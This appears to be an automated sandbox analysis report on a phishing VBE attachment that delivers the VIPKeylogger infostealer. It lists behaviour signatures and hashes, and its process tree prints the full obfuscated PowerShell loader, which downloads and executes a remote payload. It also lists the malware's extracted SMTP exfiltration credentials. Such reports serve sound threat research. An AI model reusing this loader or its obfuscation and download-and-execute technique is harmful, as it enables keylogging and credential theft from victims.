Analysis
-
max time kernel
149s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
-
submitted
04/11/2024, 07:03
General
-
Target
RequestforQuotationMKFMHSRFQ241104.vbe
-
Size
20KB
-
MD5
31d811df772fa5ae86e5c61318d70c22
-
SHA1
7165e59afddb29ea81e7a76f51fce84ae474159c
-
SHA256
ba89646f6eb6932bf276be6cf18c4016b77125d92b4b267803aa772343450a05
-
SHA512
a84a08ba0490d17d79661bb22185cbf38fb23940761daa1160fc9a68cf545927155150c2d0da56c017908e4e05e1692d40d2bef90792493717ec81967656ff15
-
SSDEEP
384:cRA+D/E36lIsIStz9287oSFYqc+lOq4ssHRymb7483wxEOjyFPfSg3lDWoIK:cRpD/4KI1Stz92EoSFYqc2Oq4sskmb7X
Score
10/10
Malware Config
Extracted
Family
vipkeylogger
Credentials
Protocol: smtp- Host:
mail.itagres.com.my - Port:
587 - Username:
[email protected] - Password:
nana2106 - Email To:
[email protected]
Signatures
-
VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
-
Vipkeylogger family
-
Blocklisted process makes network request 10 IoCs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
-
Browser Information Discovery 1 TTPs
Enumerate browser information.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Suspicious behavior: EnumeratesProcesses 7 IoCs
-
Suspicious behavior: MapViewOfSection 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 3 IoCs
-
Suspicious use of WriteProcessMemory 6 IoCs
-
outlook_office_path 1 IoCs
-
outlook_win_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RequestforQuotationMKFMHSRFQ241104.vbe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Unrefilled Produktionstekniskes Smallnesses Sammensuriummet surg Phytoptus #>;$Postsystolicntervaller='Skatkammerbeviser';<#Stridsksen Dus Tepid Skjulestedet #>; function Taxonom($Theanthropy){If ($host.DebuggerEnabled) {$Hippie++;}$Engregge=$Skolelrerinden+$Theanthropy.'Length' - $Hippie; for ( $Postsystolic=5;$Postsystolic -lt $Engregge;$Postsystolic+=6){$Ammonical=$Postsystolic;$Ablepharon+=$Theanthropy[$Postsystolic];}$Ablepharon;}function Annekteres($Alarmens){ . ($Zinkkografi) ($Alarmens);}$Relievenature=Taxonom 'pea,eMTobinoDesynzRealliAgleal KernlasfalaSkyn /Ros n ';$resoaks=Taxonom 'PahivTA vinl utcrsbrdsk1 dski2Osteo ';$Erythemal5='Freel[ TeksnTyveneGyratTDecon.An insUnloceVrdifrEvakuVRef.rIAirbrcAlpeneKal,bp ndvOUbesvi ,ontn BronTInterMEcstaaNdri,nJetbeADiktiGFluoreVagthRSicel]Beads:i nen:Sv deS Ap ie Altac Fleru.usmaR ir.diBull,tLej.iYD,plePBastirOpmrkOAnselT,ymaroWithdc FjelOSiph.lPheno=Fu,le$QuadwrAnkecE PletSGo gloAmfita gestkOrt osSquir ';$Relievenature+=Taxonom ' xaci5 Std..myrme0Unw,l Schen(Ove.eWGenneiCertinBlo ddSabbaolithow Eri stari TimbeN uteoTAfloe telei1Ferni0V.nil.Maane0unvis; Es.i EntiWTeno iPacifn rubo6 .ali4 Hind;Ann l C ncixTvrbj6Infeo4 por; Preg AutorKattevScrip:fagbg1Overs3 Was.1Subli.La.ts0Pertu) Unco PattiGEosineNontrcHabilkRekomoSpind/Begri2Bre e0Ki st1Kvi r0Burdi0 Carr1fljt.0soco 1Spage m.nneF Pleui DiamrudstaeDurasf TazeoS mulx tabs/Lemon1Inacc3stoc,1Bokse.Progr0Rejse ';$Voksenuddannelses=Taxonom ' Deteu Congs inglE.uccurAdels- S.ieaDumosgmllehEDump NHushet uint ';$Weddings=Taxonom 'SquamhFirbetApolitOptrkplapnisum in:T rea/ art/ LucidSlemmrVridniIndi vUndtaeindst. alpegMaaneoAntiso Und.gS utmlBrande Folk. torecAnalloArit mSe io/AlleguAmmetcRevet?spermeRomdixNonhopBnkevoeudorrCollettra,d=Oversd R stoLo.ocwR satn nfelsy sto Ca.aaPhotodAfsta&St aiiPreded B,st= Fac 1AandfgBa.bumB ntuZBrokeQAfstuS BalleUhyggMK ndsYMetalmBigg FMuskefBlystKBesk.AReage4MaanelBortdvAnteceRunab0ImmusJ NonnK TettwTw lvaSkem 0Kla r6KinesSSkrmaK roillTimepkLooc.7 KunsXSelvrhProviU ajen ';$Krudtkarlene=Taxonom 'Dei.i>Metal ';$Zinkkografi=Taxonom ' SkriiBrende Pr mXrdder ';$Underbetalende='Aerogenic';$Strikkepinde='\Stiftmosaikgulvs.Tha';Annekteres (Taxonom ' onan$CompuGOvergLFysiooNonspBL cenaEvideLGluil: FootB uayuRDi scAUdre sL zarsS.ubba entaRInexpTkloakS Math= ,lad$ReferE onclNM untv ndt:SkattASho gPDisbuPRappodNaertaWamblT RensAMisbr+Under$BrebrSU iveT SemirPe oti fglaktiggeK BalsEDyppeP B adiRet pNBesyndAegype alab ');Annekteres (Taxonom ' entj$ Coa,gNordsLDise oLegemBDermaARe itLBeva.:SpavikUtilfA DoseDKompoa izasV ElskeTele,rRugmeNClubmEFormisDyspn=Entom$ FlocW.uskeE StyrdMicr,d ref i Nol n CensGPhysiS.ntri.MausosWammuPBetallMut.vIJebliTArgle(Stoma$Fa tiKPalimr FiloU nded OxwoTLabsaKEmbroaTomatr L,quLNarkoE eismN CuriESyste)Skala ');Annekteres (Taxonom $Erythemal5);$Weddings=$kadavernes[0];$Gnallingerne=(Taxonom 'M rgi$ StokGFovillUnd,rO MisvBBortkAHo.byl M.ro:SkrddAMarkenk elitD menIKonfehHym,neGipssL lgerTShoal=flaucN Fo,veAccidwTar,s-Skri OPirueBBioceJRe aveRaa,uCNollkTchimi Skoles Alesy ehydS Ku sT NonrEUnde.m Adre.p,troNCoc wEUnblitMfind.JetalWud ytEObsk bHowbecSloshLBohemiSkovhE EttoN DrapTRoski ');Annekteres ($Gnallingerne);Annekteres (Taxonom '.rave$Di.eraH lvtnNihiltC itii DigehSpe ueApocrl BugltBe th.DisenHKollieMentaaSamled phyte TrucrBhstusEnsil[.dblo$.alkaVCrednoFlittkRavagsLuminePolitn ResuuBo did CrotdAxopoaIrensnMystinMenueeAnti.lHarshsFogareN ncusOver ]t lbl=Forep$ArgotRBageeeZer.mlSlavii rcheTro kvKompoeSwe rnAffekaSmiddth peruSels,rcrepee Clit ');$Tilbygget=Taxonom 'M rtk$TyrenadirefnNons tPseudiBroadhKal yeBtteslMyzostBass,.DichoD,ndero H,elwSvrvgnBaarel hemoPrep.a ediadSanatFCacomi MonolT knieErnae(D tai$ HrfrW R,cheStrafd Illad InmaiBrazenDistegOverfsUnlid,savac$Roll TUi.dtu.ttrin TitinTilkreFormfrCurs )Vedr. ';$Tunner=$Brassarts;Annekteres (Taxonom 'Udbok$MestegSti.lL St,rOSenegBFrkenAErhveL hamp:SwaggtOpslaiAc,inL,arnelEn,obe ShovTPludd=Shily(ReproTGjor,E SawnS VendtAr ou-LangsPbr ndaDel.ntWhenshUsmid Engli$ G.spt VedbUH,potnBraciN.ilimEEksprr Sig )Endos ');while (!$Tillet) {Annekteres (Taxonom 'Bloed$Frisrg orrlHerskoBe pob overaOmpr.lBasti:Sy.teFKul.eiOutp,lLinoltPocheeUnlucrPostbvAntieiAbnegrSrgelk Ska,nMiddeiKl ssnKro lgUnwe,=Akupu$,gnottFo asrKordeuElgkae Upbe ') ;Annekteres $Tilbygget;Annekteres (Taxonom ' TopoSK.ibltDenatamenneR,mpactBis t-PrejuS Pre,LVidebeEuc le EbbeP,kkel Gigan4Summ ');Annekteres (Taxonom 'Dysae$EnsilGVedliLBurunOnavigBConvoAStroplBryst: espoTIneraiNitrol HusblShogsENegerTPerfe= Mili(ForegtDebate VidesPartiTB itz-Unmi pNoninAPotastSgeorHRestr Joist$F,ngot Pr,muLa.kbnOv rsnHeksaEForm Rhavsn)L fer ') ;Annekteres (Taxonom 'Dal a$AnamngLasteLRedivOErfarbLegemAVoldtLSbesk: SgneSThreat NymauAndrim ConfT RundjFdevae ,yponDiviaeOpelsRplatasTeks =Spide$OntolgNoncoLGuttuO UndebPe.soaFil pLAirpl:Fr,mbQKa teU .arfiGuiccasev,nnGalacgT meraHjlpeNOpp.r+Post +Int r%Inter$PhagekSlampA El kdAlaniaVand,VThorhe Unt.RCor dn ChufeEr vesOplag.pse lcDjendOIndkou rhi nInstrt lung ') ;$Weddings=$kadavernes[$Stumtjeners];}$Dolourously=327001;$Rogerts=31383;Annekteres (Taxonom 'Depre$At megUmennLFribooSc.enBUf,edaHaditLPizza: MachRParriEaromaHsoldeoDevilN .lufESelfl Kr,sa=hofdi fterg CichE SlvstWurst-ByworcSkibsoNonexnvarmet utomeCl rknMrkhuTsh ww Reu i$ThyroTElectuvampeN op eN eghoEDicieR Ruda ');Annekteres (Taxonom 'Flexe$SapfugLastvldiagno FejlbDema,a AnaclD ode:Fe tpKAs,araU.imprsupersRyglne Krlt Kedel=Bioph w,edi[C kelSUdlugyStortsstnket R,nbec bermBurgl. uinC SammoFreshn Dis.v Viseeklimar Unmit Stor]Spill:Knibe:OkkerFAxiolrVentio Ateim InteBJaponaSutursu alieAarri6Du.if4ExcreSP,emot BlodrHude,iFejlrnIhukogHeste(Disgr$Bra hREmfase Kredhse.icoCurarnOddsmeAndro) Berr ');Annekteres (Taxonom 'Halor$S lesgPar.iLLangfoSimiobDiscraSermoLKnitt:IlmardBird DConstsTvrmapRandaaUnaudTCelloR ranaUve,tilGroutj iree N,nsRIntesNSen,geUnfle Fordr=M.tel tilt.[ P agSTimbrYcellessprngtUnimpeCraspmMicr,.NoneftStreneRes rxH,ndltHurtl.RevisEVerbeN audicTympaoUnsoodInassiD lenN StavgBed r] Pand:Pool :R cenA .lsesNowelCSte.dIcu baiAnt r.Sp ldGGlde e verbtDgnbeSRisenTUkendrAadseIAbre.NEgnengFoolm( ,nft$ .oruKSt reaFraf.rBlackS utweIndby)Utilf ');Annekteres (Taxonom 'Exobi$Mil iG Jo.dLFejlroVandpbFulguAflovsLkateg:BallarOv,reiAftersPi eapS.rigABrugsPsp leiFdrelR unbiE Desit.akrisBeglo=Hyleg$AntisDPlissdStenfsMellePBaudeAK appt KontRStamfuKrjholMedaljSnackEbogonRstrudnSaalbEDyfle.Misc sMicrou AttabHentysFisketSubderAnti iM sdeNReg,sGLysre(T ans$HornidStrego nderLPec ioElvilU Cen.rr,ktiolervau S tcS FisklT lslYG ngn,R.fru$Ph neRVejkaOSlagtgWillieFort r Til TOversSP eda)H mle ');Annekteres $rispapirets;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Unrefilled Produktionstekniskes Smallnesses Sammensuriummet surg Phytoptus #>;$Postsystolicntervaller='Skatkammerbeviser';<#Stridsksen Dus Tepid Skjulestedet #>; function Taxonom($Theanthropy){If ($host.DebuggerEnabled) {$Hippie++;}$Engregge=$Skolelrerinden+$Theanthropy.'Length' - $Hippie; for ( $Postsystolic=5;$Postsystolic -lt $Engregge;$Postsystolic+=6){$Ammonical=$Postsystolic;$Ablepharon+=$Theanthropy[$Postsystolic];}$Ablepharon;}function Annekteres($Alarmens){ . ($Zinkkografi) ($Alarmens);}$Relievenature=Taxonom 'pea,eMTobinoDesynzRealliAgleal KernlasfalaSkyn /Ros n ';$resoaks=Taxonom 'PahivTA vinl utcrsbrdsk1 dski2Osteo ';$Erythemal5='Freel[ TeksnTyveneGyratTDecon.An insUnloceVrdifrEvakuVRef.rIAirbrcAlpeneKal,bp ndvOUbesvi ,ontn BronTInterMEcstaaNdri,nJetbeADiktiGFluoreVagthRSicel]Beads:i nen:Sv deS Ap ie Altac Fleru.usmaR ir.diBull,tLej.iYD,plePBastirOpmrkOAnselT,ymaroWithdc FjelOSiph.lPheno=Fu,le$QuadwrAnkecE PletSGo gloAmfita gestkOrt osSquir ';$Relievenature+=Taxonom ' xaci5 Std..myrme0Unw,l Schen(Ove.eWGenneiCertinBlo ddSabbaolithow Eri stari TimbeN uteoTAfloe telei1Ferni0V.nil.Maane0unvis; Es.i EntiWTeno iPacifn rubo6 .ali4 Hind;Ann l C ncixTvrbj6Infeo4 por; Preg AutorKattevScrip:fagbg1Overs3 Was.1Subli.La.ts0Pertu) Unco PattiGEosineNontrcHabilkRekomoSpind/Begri2Bre e0Ki st1Kvi r0Burdi0 Carr1fljt.0soco 1Spage m.nneF Pleui DiamrudstaeDurasf TazeoS mulx tabs/Lemon1Inacc3stoc,1Bokse.Progr0Rejse ';$Voksenuddannelses=Taxonom ' Deteu Congs inglE.uccurAdels- S.ieaDumosgmllehEDump NHushet uint ';$Weddings=Taxonom 'SquamhFirbetApolitOptrkplapnisum in:T rea/ art/ LucidSlemmrVridniIndi vUndtaeindst. alpegMaaneoAntiso Und.gS utmlBrande Folk. torecAnalloArit mSe io/AlleguAmmetcRevet?spermeRomdixNonhopBnkevoeudorrCollettra,d=Oversd R stoLo.ocwR satn nfelsy sto Ca.aaPhotodAfsta&St aiiPreded B,st= Fac 1AandfgBa.bumB ntuZBrokeQAfstuS BalleUhyggMK ndsYMetalmBigg FMuskefBlystKBesk.AReage4MaanelBortdvAnteceRunab0ImmusJ NonnK TettwTw lvaSkem 0Kla r6KinesSSkrmaK roillTimepkLooc.7 KunsXSelvrhProviU ajen ';$Krudtkarlene=Taxonom 'Dei.i>Metal ';$Zinkkografi=Taxonom ' SkriiBrende Pr mXrdder ';$Underbetalende='Aerogenic';$Strikkepinde='\Stiftmosaikgulvs.Tha';Annekteres (Taxonom ' onan$CompuGOvergLFysiooNonspBL cenaEvideLGluil: FootB uayuRDi scAUdre sL zarsS.ubba entaRInexpTkloakS Math= ,lad$ReferE onclNM untv ndt:SkattASho gPDisbuPRappodNaertaWamblT RensAMisbr+Under$BrebrSU iveT SemirPe oti fglaktiggeK BalsEDyppeP B adiRet pNBesyndAegype alab ');Annekteres (Taxonom ' entj$ Coa,gNordsLDise oLegemBDermaARe itLBeva.:SpavikUtilfA DoseDKompoa izasV ElskeTele,rRugmeNClubmEFormisDyspn=Entom$ FlocW.uskeE StyrdMicr,d ref i Nol n CensGPhysiS.ntri.MausosWammuPBetallMut.vIJebliTArgle(Stoma$Fa tiKPalimr FiloU nded OxwoTLabsaKEmbroaTomatr L,quLNarkoE eismN CuriESyste)Skala ');Annekteres (Taxonom $Erythemal5);$Weddings=$kadavernes[0];$Gnallingerne=(Taxonom 'M rgi$ StokGFovillUnd,rO MisvBBortkAHo.byl M.ro:SkrddAMarkenk elitD menIKonfehHym,neGipssL lgerTShoal=flaucN Fo,veAccidwTar,s-Skri OPirueBBioceJRe aveRaa,uCNollkTchimi Skoles Alesy ehydS Ku sT NonrEUnde.m Adre.p,troNCoc wEUnblitMfind.JetalWud ytEObsk bHowbecSloshLBohemiSkovhE EttoN DrapTRoski ');Annekteres ($Gnallingerne);Annekteres (Taxonom '.rave$Di.eraH lvtnNihiltC itii DigehSpe ueApocrl BugltBe th.DisenHKollieMentaaSamled phyte TrucrBhstusEnsil[.dblo$.alkaVCrednoFlittkRavagsLuminePolitn ResuuBo did CrotdAxopoaIrensnMystinMenueeAnti.lHarshsFogareN ncusOver ]t lbl=Forep$ArgotRBageeeZer.mlSlavii rcheTro kvKompoeSwe rnAffekaSmiddth peruSels,rcrepee Clit ');$Tilbygget=Taxonom 'M rtk$TyrenadirefnNons tPseudiBroadhKal yeBtteslMyzostBass,.DichoD,ndero H,elwSvrvgnBaarel hemoPrep.a ediadSanatFCacomi MonolT knieErnae(D tai$ HrfrW R,cheStrafd Illad InmaiBrazenDistegOverfsUnlid,savac$Roll TUi.dtu.ttrin TitinTilkreFormfrCurs )Vedr. ';$Tunner=$Brassarts;Annekteres (Taxonom 'Udbok$MestegSti.lL St,rOSenegBFrkenAErhveL hamp:SwaggtOpslaiAc,inL,arnelEn,obe ShovTPludd=Shily(ReproTGjor,E SawnS VendtAr ou-LangsPbr ndaDel.ntWhenshUsmid Engli$ G.spt VedbUH,potnBraciN.ilimEEksprr Sig )Endos ');while (!$Tillet) {Annekteres (Taxonom 'Bloed$Frisrg orrlHerskoBe pob overaOmpr.lBasti:Sy.teFKul.eiOutp,lLinoltPocheeUnlucrPostbvAntieiAbnegrSrgelk Ska,nMiddeiKl ssnKro lgUnwe,=Akupu$,gnottFo asrKordeuElgkae Upbe ') ;Annekteres $Tilbygget;Annekteres (Taxonom ' TopoSK.ibltDenatamenneR,mpactBis t-PrejuS Pre,LVidebeEuc le EbbeP,kkel Gigan4Summ ');Annekteres (Taxonom 'Dysae$EnsilGVedliLBurunOnavigBConvoAStroplBryst: espoTIneraiNitrol HusblShogsENegerTPerfe= Mili(ForegtDebate VidesPartiTB itz-Unmi pNoninAPotastSgeorHRestr Joist$F,ngot Pr,muLa.kbnOv rsnHeksaEForm Rhavsn)L fer ') ;Annekteres (Taxonom 'Dal a$AnamngLasteLRedivOErfarbLegemAVoldtLSbesk: SgneSThreat NymauAndrim ConfT RundjFdevae ,yponDiviaeOpelsRplatasTeks =Spide$OntolgNoncoLGuttuO UndebPe.soaFil pLAirpl:Fr,mbQKa teU .arfiGuiccasev,nnGalacgT meraHjlpeNOpp.r+Post +Int r%Inter$PhagekSlampA El kdAlaniaVand,VThorhe Unt.RCor dn ChufeEr vesOplag.pse lcDjendOIndkou rhi nInstrt lung ') ;$Weddings=$kadavernes[$Stumtjeners];}$Dolourously=327001;$Rogerts=31383;Annekteres (Taxonom 'Depre$At megUmennLFribooSc.enBUf,edaHaditLPizza: MachRParriEaromaHsoldeoDevilN .lufESelfl Kr,sa=hofdi fterg CichE SlvstWurst-ByworcSkibsoNonexnvarmet utomeCl rknMrkhuTsh ww Reu i$ThyroTElectuvampeN op eN eghoEDicieR Ruda ');Annekteres (Taxonom 'Flexe$SapfugLastvldiagno FejlbDema,a AnaclD ode:Fe tpKAs,araU.imprsupersRyglne Krlt Kedel=Bioph w,edi[C kelSUdlugyStortsstnket R,nbec bermBurgl. uinC SammoFreshn Dis.v Viseeklimar Unmit Stor]Spill:Knibe:OkkerFAxiolrVentio Ateim InteBJaponaSutursu alieAarri6Du.if4ExcreSP,emot BlodrHude,iFejlrnIhukogHeste(Disgr$Bra hREmfase Kredhse.icoCurarnOddsmeAndro) Berr ');Annekteres (Taxonom 'Halor$S lesgPar.iLLangfoSimiobDiscraSermoLKnitt:IlmardBird DConstsTvrmapRandaaUnaudTCelloR ranaUve,tilGroutj iree N,nsRIntesNSen,geUnfle Fordr=M.tel tilt.[ P agSTimbrYcellessprngtUnimpeCraspmMicr,.NoneftStreneRes rxH,ndltHurtl.RevisEVerbeN audicTympaoUnsoodInassiD lenN StavgBed r] Pand:Pool :R cenA .lsesNowelCSte.dIcu baiAnt r.Sp ldGGlde e verbtDgnbeSRisenTUkendrAadseIAbre.NEgnengFoolm( ,nft$ .oruKSt reaFraf.rBlackS utweIndby)Utilf ');Annekteres (Taxonom 'Exobi$Mil iG Jo.dLFejlroVandpbFulguAflovsLkateg:BallarOv,reiAftersPi eapS.rigABrugsPsp leiFdrelR unbiE Desit.akrisBeglo=Hyleg$AntisDPlissdStenfsMellePBaudeAK appt KontRStamfuKrjholMedaljSnackEbogonRstrudnSaalbEDyfle.Misc sMicrou AttabHentysFisketSubderAnti iM sdeNReg,sGLysre(T ans$HornidStrego nderLPec ioElvilU Cen.rr,ktiolervau S tcS FisklT lslYG ngn,R.fru$Ph neRVejkaOSlagtgWillieFort r Til TOversSP eda)H mle ');Annekteres $rispapirets;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"2⤵
- Blocklisted process makes network request
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5d336b18e0e02e045650ac4f24c7ecaa7
SHA187ce962bb3aa89fc06d5eb54f1a225ae76225b1c
SHA25687e250ac493525f87051f19207d735b28aa827d025f2865ffc40ba775db9fc27
SHA512e538e4ecf771db02745061f804a0db31f59359f32195b4f8c276054779509eaea63665adf6fedbb1953fa14eb471181eb085880341c7368330d8c3a26605bb18
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
466KB
MD5607a0d035371dbcc65e6c5369a2d5648
SHA1f2f03349231d9e2bc1db7bc86bc02cd7ef33be20
SHA2563a5e0c7260ca28dcb2b27660b387c9bc15178fa21501789bc47b69c484f30344
SHA51259ecb1754f3c389459cc85a15bd7bb5c93efca58fb641656c5a7644f891893acd7b5ef3a4f6b17e76fb62bb2c7e72ce567b13f81831f8b7e2dd0b30203d6b6bf
-
Filesize
41.3MB
-
Filesize
104KB
-
Filesize
304KB
-
Filesize
6.5MB
-
Filesize
5.6MB
-
Filesize
136KB
-
Filesize
216KB
-
Filesize
6.2MB
-
Filesize
136KB
-
Filesize
408KB
-
Filesize
408KB
-
Filesize
3.3MB
-
Filesize
600KB
-
Filesize
120KB
-
Filesize
288KB
-
Filesize
40KB
-
Filesize
18.3MB
-
Filesize
584KB
-
Filesize
18.3MB
-
Filesize
320KB
-
Filesize
1.8MB
-
Filesize
624KB
-
Filesize
10.8MB
-
Filesize
8KB
-
Filesize
8KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
136KB